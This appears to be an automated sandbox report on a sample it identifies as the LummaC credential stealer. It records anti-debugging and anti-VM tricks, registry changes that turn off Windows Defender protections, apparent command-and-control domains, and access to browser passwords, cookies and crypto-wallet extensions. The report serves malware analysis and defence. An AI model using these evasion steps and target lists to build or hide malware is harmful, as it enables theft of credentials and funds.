Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AD3155 second address: AD316E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE3589D55B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007FE3589D55B8h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AD316E second address: AD3174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AD3174 second address: AD3178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAEBCC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D7D82D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Special instruction interceptor: First address: A97750 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Special instruction interceptor: First address: 8EB506 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Special instruction interceptor: First address: 8EDC67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Special instruction interceptor: First address: A9E603 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Special instruction interceptor: First address: B28640 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Memory allocated: 4FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Memory allocated: 5160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Memory allocated: 7160000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Code function: 3_2_008EE033 rdtsc

3_2_008EE033

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Code function: 3_2_00A8499F sidt fword ptr [esp-02h]

3_2_00A8499F

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 2888	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe TID: 1272	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: file.exe, 00000000.00000002.2311556089.0000000000D34000.00000040.00000001.01000000.00000003.sdmp, MMS43LFVAQOG1OXT3FFOALII.exe, MMS43LFVAQOG1OXT3FFOALII.exe, 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.0000000005470000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, file.exe, 00000000.00000002.2310271074.000000000075E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310484141.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2309302252.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193429043.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245384514.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213577230.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143002387.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217228242.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2160919623.0000000005470000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2311556089.0000000000D34000.00000040.00000001.01000000.00000003.sdmp, MMS43LFVAQOG1OXT3FFOALII.exe, 00000003.00000002.2450371079.0000000000A77000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000003.2160919623.000000000546B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Code function: 3_2_008EE033 rdtsc

3_2_008EE033

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Code function: 3_2_008EB7C2 LdrInitializeThunk,

3_2_008EB7C2

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2098013142.0000000004930000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2098013142.0000000004930000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2098013142.0000000004930000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2098013142.0000000004930000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2098013142.0000000004930000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2098013142.0000000004930000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2098013142.0000000004930000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2098013142.0000000004930000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.2311767592.0000000000D7D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: nProgram Manager
Source: MMS43LFVAQOG1OXT3FFOALII.exe, 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: o0 r[Program Manager
Source: MMS43LFVAQOG1OXT3FFOALII.exe, 00000003.00000002.2450542507.0000000000ABC000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: 0 r[Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.2245162235.0000000000837000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217103827.0000000000837000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4952, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2213479906.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.2213479906.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe, 00000000.00000003.2309522693.0000000000825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.2193429043.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
